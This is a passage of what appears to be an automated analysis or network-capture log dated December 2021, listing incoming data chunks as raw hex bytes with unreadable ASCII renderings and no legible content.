3d 25 07 ab 98 64 5e 91 16 1f b7 0d 3c 40 9b 82 6d 10 10 04 83 76 3a 54 23 24 69 d6 39 50 d9 10 7b e9 f7 df 70 86 f4 6d ef 48 87 bd e2 98 7f 93 d1 6d ef 87 cc c3 4b 99 e7 17 5f fb 68 cd b9 90 c8 8d Data Ascii: \|M^+x,qf%zva$!jQ!:4iWB0AB6i9CNX8%F>Q;9-Q(xB=(m<\HKV%@NSfy(ez!2;=%d^<@mv:T#$i9P{pmHmK_h
2021-12-28 17:13:33 UTC	3039	IN	Data Raw: 4d 8c 39 eb 57 d4 39 c8 82 b8 ac fc 49 a1 0f ce 12 57 04 52 26 37 9a cd 30 8a 05 8d 4a b1 41 9d 47 4b 77 96 1e a5 7a 32 03 c8 85 33 c6 8f 37 21 2e 0f d2 5e 56 15 a0 60 66 40 2b 52 ee b2 3d f3 6b 82 16 86 d0 f7 c0 2a 77 3d bb 58 fc da 7e bc df 5f 31 15 fb 2c 62 41 a1 e5 64 ca 6d 43 ff 8f c2 1c dc f9 35 77 ea 40 ec 90 66 92 a6 62 fe e8 3e 21 90 9d d3 78 80 9c 18 22 b6 ef 9a 62 03 3d c7 a7 30 8f c7 2e 81 68 00 df 15 88 f2 dc ab 93 08 ca f9 32 5f a0 56 e6 f3 60 fa 52 51 11 6c ee ec 47 f1 d8 4a 8d 5f 69 7c a0 e9 38 eb 3e db b7 28 fd b7 6c 0a 0b 07 64 11 8d f7 9e 4c 78 cc a0 95 d3 b5 1c 31 3b a0 e8 73 f0 12 06 cd 3d ed 60 76 fe 16 3f d9 d6 f8 a6 2e d9 18 be 65 29 14 eb 98 9d 28 14 ff 41 6e 3a d7 5b c1 f0 27 ed ed 8f 0f a2 e6 d8 c1 5d 8d e5 d6 20 66 e8 1e 77 3b Data Ascii: M9W9IWR&70JAGKwz237!.^V`f@+R=k*w=X~_1,bAdmC5w@fb>!x"b=0.h2_V`RQlGJ_i\|8>(ldLx1;s=`v?.e)(An:['] fw;
2021-12-28 17:13:33 UTC	3055	IN	Data Raw: a7 0c b3 94 39 ed f3 ac 14 1e c0 bb 58 9d c8 0c 1e 82 aa 3f 10 ae 73 f0 57 20 db 4a 4c 60 4f f6 21 78 a4 f3 98 d3 15 d3 3a dd 05 7d b0 53 cb cd 4c eb e3 f8 26 43 b9 0c 73 0f 95 f6 cf 32 45 c4 ec a5 33 de 98 42 33 90 ac b5 14 e2 b9 84 9a 43 7d ee 26 cb 6f 9d b6 d8 ce 99 4a 8f 75 a6 92 b3 21 c1 fa da b9 0d 19 29 42 f1 7c b1 4a 42 b1 ae 77 33 32 b7 15 36 cc a6 33 e6 48 fe db 7d c2 ae 89 d6 19 77 c3 70 80 40 18 bb e3 f8 8d da 14 3f 25 8b 8d 4a db e2 0a c4 20 67 97 1e 35 0b 9d 9c 9b 8e 50 32 9f 66 b8 2e 5d e7 51 ad 6e 82 4e 1b c9 bc af c6 dd cd 67 02 f2 11 81 3e 54 1b 96 a6 73 4a 2f 11 55 a0 47 6f 69 db 9d 0f 06 36 f8 07 4c 08 6c 87 d0 83 dd b3 40 a0 17 e6 5e b5 7b 0d b5 71 45 0e 43 20 b6 d7 5f 33 4b b5 9a 1b 12 a8 58 b4 a8 58 b1 1e 2b c2 82 f6 eb 49 cb 9a ff Data Ascii: 9X?sW JL`O!x:}SL&Cs2E3B3C}&oJu!)B\|JBw3263H}wp@?%J g5P2f.]QnNg>TsJ/UGoi6Ll@^{qEC _3KXX+I
2021-12-28 17:13:33 UTC	3071	IN	Data Raw: 81 9d 30 a4 5a f9 fc 22 d1 45 88 f9 24 a0 ce 47 88 9b 54 15 be 5e 9a 1e 04 8f d0 0f 68 1e 47 6b 52 83 fc d7 e2 b4 24 7b d2 ad 3f 8c 64 84 26 87 3e 08 e8 99 cb fd 46 04 44 e2 58 6f 79 cd 2d 1b f9 f0 1c 08 0d 6e 42 15 ce 2b db bc 62 55 e5 94 76 a3 ac 71 63 4f 4d 9d b5 b9 68 ab 39 6b c3 39 37 a1 5a d7 24 62 67 43 1f 09 87 d0 84 7b 8c 95 b6 c4 bd c3 d3 00 b3 c1 8a 92 b0 b9 82 7f a2 99 f9 1a 6a 1e 68 23 89 e7 7a e6 6f 70 21 17 dc 0b 38 fd aa e0 16 a4 4d a8 c7 eb 2a 5f a8 a0 ee 94 c8 a7 7a d6 be c0 fb 58 75 b6 3f f0 e3 1f 08 07 61 db 26 e4 5b 76 aa cc 41 26 4c d6 18 44 70 54 29 ec ea f9 c5 bd 1e 0e 37 03 ff 17 79 84 a8 a6 17 39 41 6a ea f8 2a a0 71 e6 a7 13 a6 2e f1 c4 8a 2c 95 48 1c d2 fd f6 c5 f7 7f 4b ff 2d dd 37 4a f0 d3 a6 82 90 ae 3f e4 ed 53 a1 2b aa e7 Data Ascii: 0Z"E$GT^hGkR${?d&>FDXoy-nB+bUvqcOMh9k97Z$bgC{jh#zop!8M_zXu?a&[vA&LDpT)7y9Ajq.,HK-7J?S+
2021-12-28 17:13:33 UTC	3087	IN	Data Raw: a3 ce 54 a7 1e ae e9 54 a4 05 b4 8d 10 34 c3 38 47 fd c6 14 0d 8e 99 26 d2 e8 3c 69 57 53 10 a7 c7 c4 69 29 9c 34 84 a9 d1 15 39 55 3f b4 ea c0 ad 26 f1 46 0d 30 a3 b9 2e 33 da 0d 3e 6b be 0f 3b 71 7d eb 67 b3 a9 7f d1 2e 6b be 0d 39 3c d5 78 83 e3 cb 97 9e 2b 9a ad 06 63 36 11 2f 7a 41 0c f5 8f ed e9 05 9c 93 5d c4 e6 04 4f 62 32 27 67 ad e6 e6 82 65 82 d1 02 6e ba 26 09 4a bf 5a 54 01 2c 5c 31 11 8d 0f 31 13 47 f1 db d1 08 96 f1 8c 40 e4 6d c2 35 d8 f8 d1 bf c5 a1 70 07 20 bc 9c e3 4f 84 5b 26 db 86 02 bb ff 4e 2a 28 48 0b 3d 5f 9c a5 e3 4c f6 8f 03 35 51 a0 bf 41 86 46 ae 8a 85 9c e1 1f 4d 61 30 25 6c 0f 50 f5 5d 46 00 c1 52 9d cf ee a2 f4 f3 18 97 43 45 ea a6 61 2d 9e c3 20 63 25 6b 0f c4 ee ff e9 4c 47 70 f0 71 13 18 4c 05 55 a2 ce aa cc ad 59 75 cb Data Ascii: TT48G&<iWSi)49U?&F0.3>k;q}g.k9<x+c6/zA]Ob2'gen&JZT,\11G@m5p O[&N*(H=_L5QAFMa0%lP]FRCEa- c%kLGpqLUYu
2021-12-28 17:13:33 UTC	3103	IN	Data Raw: ef aa eb e3 f9 29 2c e2 aa 7c 47 b7 40 5e 28 a1 af a7 f4 74 d8 35 ee 18 63 0c f6 03 f4 94 8b 74 05 e7 1f df cb 54 36 2a a8 08 7d 6d 6a 5c bc f9 71 fb b4 fb d6 c6 71 88 47 71 9a 50 a2 d1 4f 9d fe d0 f1 b8 b1 21 a2 90 71 2c fc 20 5d e0 40 9e ef 8d a7 80 be 56 ec be ba 8e 6d 81 12 75 bd 5b 20 5a 29 5f d0 48 41 7d a3 35 86 9c 96 b8 9b 34 51 5e 89 30 98 e6 15 47 20 d7 34 0a ff c9 31 e6 34 87 28 08 7e 84 a8 a8 3a 02 01 48 c6 04 11 ea e8 cc 25 1e c5 e3 3b fc 8f a1 d5 a2 a1 65 7d 80 01 76 e5 26 98 ae 8e 4b ec 57 d7 8e 3c 05 8b a9 eb b6 08 47 75 3b 4f 64 4e aa 2d 15 3b 83 7f 4c fb 2c 38 87 8c 92 01 5e 50 e5 8b 98 6a 11 3d 80 78 76 4b 74 38 77 be 7f 01 f9 c5 6c a0 30 ae 16 5a ef b7 32 f0 ea 66 89 1e 11 ba 69 6d ce d4 f2 d0 1f 9b 79 ca 14 5d 0e 7f 59 e2 6c 87 19 53 Data Ascii: ),\|G@^(t5ctT6*}mj\qqGqPO!q, ]@Vmu[ Z)_HA}54Q^0G 414(~:H%;e}v&KW<Gu;OdN-;L,8^Pj=xvKt8wl0Z2fimy]YlS
2021-12-28 17:13:33 UTC	3119	IN	Data Raw: 12 ed 38 9b 97 29 a8 b5 c8 48 d8 47 8e 8c 68 73 2c 75 7a c5 ff 75 4e 3a 04 7c a1 bb 6e 0d df 2f de 56 98 23 2f 25 34 4c 92 44 df 6a 2f e1 47 b8 20 ef cd b5 15 c7 ab a1 73 fe ea 2b 95 ea b6 f9 8e ea 64 65 e0 db 31 3f e9 d9 71 b3 22 f0 86 95 70 6a 48 6f e9 e3 20 7f 23 d0 bf b4 5b 84 a0 d0 fa 94 c2 f9 13 d1 b1 84 67 a8 6a 17 d9 e8 df 49 50 f7 4e 7c f6 33 97 c2 3f 95 3a 0f a2 28 39 2b b4 72 6a bc 3c e5 de 78 e6 03 99 bf a0 ca d4 33 5d 9c b3 86 c3 c0 49 e0 45 ad 85 e7 f2 86 95 40 0c 33 de d9 c2 fa 17 6f aa 86 31 62 8a 85 1a 14 27 f9 f1 ab a2 7c d8 a1 24 1e 55 46 f6 7c 4b ee 97 2d 20 1e f4 bb 5a 17 ba f5 b6 9d b5 8a ea 87 c5 04 3d dd 3a 38 05 26 6d 7f ae 1e 4b 31 8d 33 18 2c 9a 10 c5 ee 32 30 c4 1a 7f 69 9e ee a3 59 62 55 d3 4d f5 8d 1b 36 1f 60 bd 00 39 e9 0b Data Ascii: 8)HGhs,uzuN:\|n/V#/%4LDj/G s+de1?q"pjHo #[gjIPN\|3?:(9+rj<x3]IE@3o1b'\|$UF\|K- Z=:8&mK13,20iYbUM6`9
2021-12-28 17:13:33 UTC	3135	IN	Data Raw: ce 57 15 51 90 74 ce 8f f0 f9 ab 34 9e af 06 dc 4b 3b f1 1f 93 4b 91 8d b9 6d 41 92 d2 08 6f 9d 22 99 1a ec 76 dc 03 f2 44 63 33 3d dd ce ad 41 e3 0f a0 8b 60 24 13 18 58 21 88 37 21 67 9b 50 a2 76 08 db 9c fa e7 29 39 7f 7a 32 b8 c2 1a 07 1c b9 c4 3a d2 2d 89 40 1b 28 62 76 42 90 94 10 e0 f9 a7 c1 54 22 13 be f0 06 ee 16 18 13 75 e7 08 f6 d1 2f 6d 57 57 fa 33 51 07 7a 47 f2 3c bc 19 74 ff 43 99 24 5a 7c f5 00 db 44 69 65 66 1f ff 81 3a d2 77 8c 56 f4 99 aa a1 a0 78 aa 07 f3 8f e6 7e c3 2f 2c 45 9d a1 ef 3f 7d 46 85 1c 33 c9 6d f0 84 85 09 e3 76 b2 2d 4b 25 30 08 f7 b9 46 b2 3d f8 e2 57 14 70 1b 7b 68 10 28 cf c7 df 1e 5b c8 fc c1 c4 d8 cf b4 81 27 f2 6f 3d bb 1e 6d 9d 3b 34 36 61 d7 2e 02 24 0b 9e dc 8b 13 d8 a3 0c c0 74 d9 ca 65 24 f7 19 2d bc e1 aa 4c Data Ascii: WQt4K;KmAo"vDc3=A`$X!7!gPv)9z2:-@(bvBT"u/mWW3QzG<tC$Z\|Dief:wVx~/,E?}F3mv-K%0F=Wp{h(['o=m;46a.$te$-L
2021-12-28 17:13:33 UTC	3151	IN	Data Raw: b2 10 a0 8f 45 e0 cf 03 36 6e ed d0 49 eb 35 55 fe bf ed 6a 1a 40 e8 b5 b8 f8 28 7b da b9 eb d0 3d 49 eb 51 42 45 7e 51 ff 85 37 99 45 12 97 37 87 77 91 e4 fb 3e af 33 06 19 b8 e0 ef 2d dc a3 25 61 86 f4 19 55 f4 c4 81 e0 54 e5 de 39 bb 1d aa 5f bb 67 3b ff b4 a7 9f a0 f5 61 9d 68 d4 90 45 63 e3 47 3e 2e 9f 86 9c 7c 65 41 20 90 6e 83 d8 da 1b 1c 44 b8 fa 99 b9 4d 3a 19 43 7d be dc 47 4a 72 0c ea ea cf 60 69 19 d8 e4 e5 b3 90 9f 35 c2 81 76 98 4d dc fd f1 ec c0 a3 5f 3a 36 92 02 66 4d 8e 6f 26 7f 1f af b4 c7 b8 63 5d 1f 2d db 03 9d a9 16 21 d5 6f 80 03 a6 56 51 40 19 4f 9c 78 62 1b 6c 47 11 5c aa e7 09 b8 15 8e 15 3c 70 98 14 c1 86 2b 39 e9 da eb 45 b0 2a a6 6b b7 c2 8d d1 aa 13 dc a4 9a f3 c7 a9 ef 0e d4 47 dd 00 58 43 ff 73 df ec 3b f9 b3 87 82 21 f1 b4 Data Ascii: E6nI5Uj@({=IQBE~Q7E7w>3-%aUT9_g;ahEcG>.\|eA nDM:C}GJr`i5vM_:6fMo&c]-!oVQ@OxblG\<p+9E*kGXCs;!
2021-12-28 17:13:33 UTC	3167	IN	Data Raw: 04 1e 59 ce a8 2e 99 62 33 ba 15 2c 13 fc 86 fa 55 2e fd 9f 67 8c ee 67 f8 12 76 d1 de 1c d5 2d 55 33 5b c7 23 eb 34 90 9e a5 c5 ac 87 cf e9 8e 74 43 ed 65 0e 3b 28 36 85 74 2d 9b 86 fa d3 3d 68 9c e0 a2 48 60 a5 58 9d c1 27 a1 2d 15 aa 00 28 06 d4 c9 9e e5 9f 8c 76 b9 f5 c5 f2 2c 4a 88 5e 43 94 cc 21 13 9b 4a 80 bc b9 04 61 a3 36 fe 22 12 70 38 7b 92 21 04 79 8c 53 31 2c 2d 46 ce 8a 0d 87 c5 5f e0 46 d8 de 5a d0 f2 65 db b8 28 f1 ca 5e b7 85 42 54 1f a5 1b 0b 00 97 8e 66 95 0a 24 cd 27 cf 91 2a 88 10 86 09 2a d9 3b 4c 03 86 0b 8b 96 3f 76 f0 54 78 68 04 bb 09 b5 19 16 95 73 70 bc 7e 06 74 92 50 60 95 43 34 59 b7 b3 60 26 d0 99 3e cd d1 42 02 32 d0 da db a1 e0 2c d1 24 0f 60 81 c3 7e cb ca 34 c4 c0 ba 28 09 e3 77 5a 8c 9c a3 2d 71 19 5c 6d 6e 73 75 a0 7c Data Ascii: Y.b3,U.ggv-U3[#4tCe;(6t-=hH`X'-(v,J^C!Ja6"p8{!yS1,-F_FZe(^BTf$'**;L?vTxhsp~tP`C4Y`&>B2,$`~4(wZ-q\mnsu\|
2021-12-28 17:13:33 UTC	3183	IN	Data Raw: f8 27 b2 08 9d 40 d9 4d 3d 16 e4 f9 5b 1a c1 1b f8 c3 2f fd d9 a1 b5 bc 01 d5 9a 7c 9e 31 98 68 ff 4c f1 d6 14 68 83 aa b6 d7 dc ef 2e 81 31 74 eb 79 58 e3 f9 29 e2 f7 6f cc 2e ec 46 aa d3 a0 25 dc 3f 88 f2 45 6a be 5b ab e8 f0 cf ce 9d 2e 71 fd 77 1e 44 9f 46 e0 45 8f 47 8a fd 82 50 73 bc 14 fd e8 70 ce 28 19 8f 2c cb b4 fc ac 05 8b a1 a3 23 81 bb 63 c9 0b 36 a3 4f d8 f4 ba 13 cc 07 ea 25 28 49 15 ae ab 20 57 9d 1a ef 5d fd ed 18 ff 1f a1 2e dc 31 b4 3f bb 28 66 44 ed 1e 3a 48 e4 84 61 cd 8e ed d7 c2 cb 57 98 e8 41 7a e2 35 49 d5 11 f4 12 c7 e3 64 1b 31 52 d9 ac a2 c7 a5 9a 76 de 82 5f cd 26 48 cb 83 5a 78 86 cb 91 72 d3 e9 e9 4b d0 25 ab b8 61 6a ba ac 43 3e 84 d5 24 b9 8e 5c f9 85 61 70 db 40 29 2f c0 bd 5c 70 33 31 7d 90 c6 bb 55 78 08 6c 5a 0f 5b da Data Ascii: '@M=[/\|1hLh.1tyX)o.F%?Ej[.qwDFEGPsp(,#c6O%(I W].1?(fD:HaWAz5Id1Rv_&HZxrK%ajC>$\ap@)/\p31}UxlZ[
2021-12-28 17:13:33 UTC	3199	IN	Data Raw: 47 8e 7e 20 28 50 94 22 bb ca c8 f0 f2 d6 49 cf 24 ee ab ca f1 eb 6a 51 e4 47 26 68 dc bf 8e 95 0f 65 c9 e1 4f 1e 4e 81 c3 17 26 fa af a3 43 03 56 e1 c7 1f bf 03 35 b9 b3 38 d0 a1 3e 66 90 0c e4 e0 a9 9b 37 3a c9 35 59 22 56 6c 90 56 98 f4 4c b7 f5 83 7a 34 dd ed d9 72 b9 7e 04 62 8f 48 27 ff c3 b9 3c 00 63 88 84 5f 9c 0c 25 2d fe 45 b3 9d cd c3 a6 e2 f9 f9 89 44 b2 a5 1a 93 fd 5d 22 27 ca ae ae 68 36 68 44 51 a3 03 34 ce 65 91 f1 49 fd 6a 3b c9 08 b0 56 4b 9c f7 cd 82 9f 06 b4 f3 4b 41 d6 64 58 fe b4 ff e1 5e 88 42 b4 ff 15 6d 43 fc 55 cf 50 64 02 9f 15 96 44 24 fa 15 05 e4 4f 50 86 72 b4 44 e3 82 a6 d5 a1 a7 41 dd 59 c1 64 fe d0 78 a3 74 d4 bf 15 70 03 db 19 47 d7 d3 e8 0e f0 e4 17 85 8c 1d 63 c3 43 38 96 33 b2 75 7e 40 ef af ed 96 5e 76 06 5b ec 42 6f Data Ascii: G~ (P"I$jQG&heON&CV58>f7:5Y"VlVLz4r~bH'<c_%-ED]"'h6hDQ4eIj;VKKAdX^BmCUPdD$OPrDAYdxtpGcC83u~@^v[Bo
2021-12-28 17:13:33 UTC	3215	IN	Data Raw: b7 71 3b 6d 34 1b 56 82 7b fe e9 8c 3b 6b 37 a2 5f bb cd 51 28 9e 17 f5 49 c2 c0 95 f8 b7 14 9d 27 6f 69 9b ac 71 00 a9 6f ae 85 57 08 77 28 87 9c cc c1 10 72 a5 72 23 71 c8 b1 21 4d 67 71 5c e3 75 1d 50 ea 02 da 3e 0d 49 bb bf 25 6f 32 45 83 c0 ae e6 1d 69 5f bb 20 46 79 31 54 82 d1 3d fd ce ba 19 47 6c 0d fa f1 db 50 2e c4 84 7b 7b c0 d0 e1 52 6d 06 52 18 80 24 8e c5 01 97 31 13 8e 10 0d 0b f5 65 41 76 d4 ba aa df 6a 19 1c f1 c2 48 12 01 c2 42 6d ac 19 c5 33 8d 2d 82 98 36 ff fd 10 ee b4 c6 46 51 c4 0a 00 e8 6c b4 8b 5f fe 08 3c f6 78 55 ba 63 b1 ef 31 18 83 6c dd 0a 4b ba ba 9e 59 d3 f3 8f 54 c3 76 7d 55 5e e6 d1 d1 28 7c 17 0f d6 1c bb 78 29 0c d4 9a 91 e5 ec 42 ac 64 a8 9c b3 bd 57 74 38 47 2a 63 a6 0d 18 d1 8d 79 9f 39 2a 23 28 19 f8 18 ce b6 b2 b1 Data Ascii: q;m4V{;k7_Q(I'oiqoWw(rr#q!Mgq\uP>I%o2Ei_ Fy1T=GlP.{{RmR$1eAvjHBm3-6FQl_<xUc1lKYTv}U^(\|x)BdWt8Gcy9#(
2021-12-28 17:13:33 UTC	3231	IN	Data Raw: 36 eb f6 a9 db f1 1d 37 9e f4 83 c5 18 88 0f bc 05 10 0e 32 70 4f 91 18 e5 05 c0 46 97 34 88 ad 8a c9 1f ee 1e 27 17 d6 08 89 2d 93 73 a8 f9 12 86 37 a3 5f 11 79 70 da a6 cb 18 1f 7e a2 a4 3b fe 65 1c 78 59 77 5d 5a 0a 15 89 8f db eb 7a 6d 3e c5 bd 54 f5 bf 4d 24 76 c5 6a 94 c9 5d 72 cd c6 34 4e 9c f1 7d 99 26 81 56 92 2b c2 07 7a 8e f9 0a 2b f2 4e 30 91 58 1f 3f 34 f3 70 0a 22 91 a8 10 e9 db bb f7 cc f6 3b 15 bf 79 53 a0 49 ba c0 2d 9d 72 de 10 8f ab ab 06 bd 75 98 fd 1d 34 b6 19 6b f0 d9 77 61 98 2f a2 59 3b 06 0e 00 03 53 71 37 89 c2 6d 24 9b fb 49 57 91 94 69 e7 88 4e 83 09 6d 31 38 2d a9 df c0 5c 76 eb fe 25 cf e3 5d 08 80 d7 b5 8b df 7d 7b 25 fe 0e 5f e8 94 6a 52 8e cf 8f e2 14 23 47 62 f7 ca c7 d7 d5 84 21 bf 92 a1 e1 38 8d 17 5c 67 71 d3 75 b8 20 Data Ascii: 672pOF4'-s7_yp~;exYw]Zzm>TM$vj]r4N}&V+z+N0X?4p";ySI-ru4kwa/Y;Sq7m$IWiNm18-\v%]}{%_jR#Gb!8\gqu
2021-12-28 17:13:33 UTC	3247	IN	Data Raw: af 9f a8 d6 d2 d0 a9 9b c6 64 8b 20 74 ad 8a 14 6b bf a0 8f 95 33 97 47 d3 da 2a 8a 7b 73 f6 aa 64 34 fb 16 5e cc 5e a6 99 32 88 7f 33 94 9d a0 a5 20 94 06 b7 62 a1 7e bd b5 6f 8e 8c 74 54 e5 97 e2 8f 75 6d 17 ed e6 52 3b 66 b8 18 cb ef 94 43 4d 20 57 a1 04 85 9e 7b c6 5e ab 6e 25 77 fc 6d c2 a6 1a 15 22 3e cb b9 b6 a6 b5 8f c1 77 3b ed 04 72 8f 38 ef d0 7f 66 5f 6d 5e 66 5d 00 0a 5b b3 d1 56 c9 2f f9 ba 5e c3 d2 8b 7b ea 68 a9 2b d6 6d 12 71 48 5f 77 7d 7e 8f 8f 8b e2 57 e1 68 13 9a 58 8e ca ef a1 b2 20 e5 9a f8 42 f2 1b f2 26 95 4f 16 3f ef 7a 3f 02 16 1f 21 90 18 2b dc 71 90 6c 04 44 81 32 4a df 0b 5a b3 6d 95 d1 c4 f9 57 e9 e7 56 f7 35 8a 39 b1 f0 f1 cf 19 ca 2e b7 45 25 af 61 0d 2b 27 ca 92 0e 43 c6 6c b8 3f fb 66 a6 96 a4 58 f9 52 ca 43 bd ba fb ea Data Ascii: d tk3G*{sd4^^23 b~otTumR;fCM W{^n%wm">w;r8f_m^f][V/^{h+mqH_w}~WhX B&O?z?!+qlD2JZmWV59.E%a+'Cl?fXRC
2021-12-28 17:13:33 UTC	3263	IN	Data Raw: 07 37 41 99 6a 21 a8 4c 43 d5 77 e3 21 a6 a8 98 62 24 90 ac 35 4b 2a ea 67 9a e0 cb d0 b4 9b fc f3 d5 14 30 18 a4 1e ec fe 1b 80 3c 2c fb ff 80 af a7 45 ec c5 61 77 a4 24 c7 2c 8a 3f 40 a3 78 da 68 28 53 0f 9e 54 98 f4 3d d7 61 2b 8b d7 09 ee ea 48 6f 00 38 79 18 4d c2 38 e6 1a df aa 13 8d 07 6e 29 b9 0a e5 a9 65 9c 1e 97 40 5a 1e 80 52 64 5e f6 80 7b 4e 81 74 d9 ec 9f fb 15 e0 69 06 e8 39 07 75 fd c6 b7 bd e8 82 25 31 93 8e 13 55 89 ec ca aa 6d 66 e4 f0 49 4b 89 7b 55 13 a4 aa d6 1b cd c8 01 bb bf c3 6a 50 b0 63 cc 17 83 d8 db 80 0c 6d 67 80 94 84 29 df a8 a2 2b ff c6 58 28 0d c8 83 02 4e 92 cb b8 d7 ae e1 8e 5d 9c 7b a1 90 72 d5 e7 7f 31 38 af 95 93 0b c1 ff 0e 5f 25 a3 c9 07 a4 3f 8d b2 46 b6 c3 30 b7 61 28 99 60 87 19 77 79 8e ba 30 7a 68 b7 c4 cc 30 Data Ascii: 7Aj!LCw!b$5K*g0<,Eaw$,?@xh(ST=a+Ho8yM8n)e@ZRd^{Nti9u%1UmfIK{UjPcmg)+X(N]{r18_%?F0a(`wy0zh0
2021-12-28 17:13:33 UTC	3279	IN	Data Raw: 4e 66 f8 88 b7 8b 1e 54 1e 96 5a 8b 09 66 96 e9 4f 90 13 ab 66 1e c8 b8 2b e0 b1 34 c2 0b cf ee 72 c5 b6 63 e8 dc 24 6f f1 3b 74 07 f7 6a 29 78 45 79 d0 f6 ee b3 9f f4 f6 05 f7 04 f6 00 cd ad f5 2e a0 fc c9 1a 98 5b 06 9b 4d fc 18 18 c9 e0 6e 8c 63 4b 55 f9 9f 4a 28 26 be fd d4 e8 97 f2 57 16 85 b1 57 2c 22 8b f7 c5 eb 21 6e 75 8e 4c 3b 2b d3 03 f4 80 51 da 73 5b 2e 27 16 55 90 75 dc 62 69 e0 10 66 f2 d0 da 4a 63 ef e9 ad ae fd 6f 14 38 ad 48 e6 f6 f7 1a df 8c ab 59 1c 71 ca a8 2c 27 22 50 0c 51 36 3d 31 8b 17 49 a4 63 5f 39 5f b5 96 14 f7 55 67 27 13 09 e9 c0 cd b1 ae ef 8e fe c2 0f 08 bf 99 61 ee 5c 5b e8 eb 6b b4 bd 1b 30 4e 91 06 5b 30 55 1a c3 a6 ae 1e 12 ac 6d d8 11 bf e9 4d 76 a5 0a 21 29 63 a7 fb db 31 3b b4 51 e2 ff 62 11 a8 f8 e2 78 93 f2 6b 50 Data Ascii: NfTZfOf+4rc$o;tj)xEy.[MncKUJ(&WW,"!nuL;+Qs[.'UubifJco8HYq,'"PQ6=1Ic_9_Ug'a\[k0N[0UmMv!)c1;QbxkP
2021-12-28 17:13:33 UTC	3295	IN	Data Raw: 94 fc df b7 d2 3a d1 a0 23 4d 80 0a c2 f3 c7 68 b3 55 4a e5 b9 20 18 df d3 f6 3a 5a 4b ce f6 82 b1 2f 10 f2 2c 87 b3 47 50 bb bc af f5 c4 69 b4 97 4f a3 44 3f 61 af 68 d6 d4 2b ed f5 00 34 e9 d5 14 68 02 51 17 80 94 8b f9 8b bc 0d ca b2 27 48 3e b3 e1 3e 5f 85 e3 00 63 6a 33 cf 66 4e 8d 59 a7 19 2d a4 9d 2b 63 80 64 93 23 27 dd 14 01 65 cb 2e 25 66 18 cd 7c 2b 6f c0 5e 24 a8 97 33 8c e8 e8 ac a3 f7 dc 72 74 a3 83 42 f1 01 62 ff 75 18 d0 8e 98 1b 74 43 f0 27 2c f9 db 03 27 04 f8 16 ba 73 5f e7 33 5a 72 b1 e9 33 7c 78 fc e4 d7 0e 85 ee 56 f1 6b 24 b5 8e 4d da 47 51 dc 75 c3 e0 99 f2 f0 43 9f c4 12 77 76 e2 8b c5 ed d2 e7 08 d1 dd 28 ef 9b 52 5e 10 b7 4c 9d 90 bf 23 b0 4f 89 e9 fc 87 ea 02 ab 57 cf 88 6e 58 5e d9 05 39 b2 8f d6 f3 58 36 a8 1e d5 f3 ca c0 d3 Data Ascii: :#MhUJ :ZK/,GPiOD?ah+4hQ'H>>_cj3fNY-+cd#'e.%f\|+o^$3rtBbutC','s_3Zr3\|xVk$MGQuCwv(R^L#OWnX^9X6
2021-12-28 17:13:33 UTC	3311	IN	Data Raw: dc a6 e4 0a ca 14 f2 1f 23 e3 9c 5a b0 1f 2a d7 d9 c9 5f b0 9d 49 5c 22 13 4d 7b 5b 2d 90 28 06 52 d9 f6 b4 91 6a c6 1b a4 c6 12 25 2c 5e 5c e2 0b db 1f 17 7b 95 52 07 39 57 fb 4d f0 a8 f9 c1 bc 13 46 27 07 ea c7 6f 88 d3 8f 9f 8e 35 48 d5 d3 65 56 29 89 da ee 09 e1 3f 29 70 1d 83 27 2a 62 4d b2 15 7f 49 ce 62 b7 e8 d5 bb 43 3a 94 2a e7 bf f4 66 8e 3e c8 96 e4 6d 11 1e 0b 77 9c 33 98 43 db 7b 88 5c f5 a3 0b b6 33 2f dc fe 7f e2 dd 4d 63 6e 33 1b 9b 4a c2 ae 9c 0b 29 57 30 cd f4 e3 3c 73 bf a1 61 b1 79 ee 2c 13 99 52 4a fa f0 56 ee 16 0a f2 1c a3 ca 89 6b b8 fe 27 b0 34 08 5b 51 f9 78 b3 77 71 6b 4e c0 d1 45 a6 01 49 db 8e 82 85 c8 7c bc 06 e5 21 c5 59 7b 6c 4e 9f 8b 28 db 8c 31 83 f6 75 5f 97 bd 43 0a c2 b0 ba 21 76 7b d0 3c 83 f9 17 4f 56 18 89 07 39 4d Data Ascii: #Z_I\"M{[-(Rj%,^\{R9WMF'o5HeV)?)p'bMIbC:*f>mw3C{\3/Mcn3J)W0<say,RJVk'4[QxwqkNEI\|!Y{lN(1u_C!v{<OV9M
2021-12-28 17:13:33 UTC	3327	IN	Data Raw: f9 82 ea e2 fc 6b 9a 92 22 e0 05 32 21 48 2f ff ae 7f ad 7a 3e ba 01 64 8c 3b 03 50 98 a4 2a a2 10 49 76 27 c7 e6 03 8a ae e0 2d 42 7e 04 e6 45 ec 20 d6 c8 23 9f f4 d1 0a 61 41 9d 05 26 21 a3 a4 16 78 7a 0d 73 f1 4f 43 53 ce 57 8f a9 ba eb 13 f4 62 ba 6c f8 94 58 41 9d a0 95 43 c0 49 db 8c 1a f8 07 65 f8 33 ef 1e f6 7d cf eb 7f e0 7b cf 13 b7 83 99 bb 4b 38 c4 19 bc 2d b0 8e 15 b8 a4 97 49 07 35 73 4a 74 37 d2 8e 78 75 38 4e cd fe 92 b9 73 79 ce f0 ef 77 73 af 82 e3 7b 8d 41 75 76 cf 8a 47 15 8d 39 08 b3 a0 fe 9e 4b 59 95 e7 66 6c cc e3 c8 9b 1f 04 10 6c 71 f7 f6 d2 ef 5e d1 fd 02 39 53 ab ba ba 13 71 26 4d ce bd 47 3a 2e 76 ed ac 01 00 0d e2 87 4d 55 36 6f 55 90 91 08 a7 0c a7 a5 8c 18 63 d4 76 be 54 b5 2c 84 83 6b 27 78 37 44 01 79 22 94 95 dc da 01 7c Data Ascii: k"2!H/z>d;P*Iv'-B~E #aA&!xzsOCSWblXACIe3}{K8-I5sJt7xu8Nsyws{AuvG9KYfllq^9Sq&MG:.vMU6oUcvT,k'x7Dy"\|
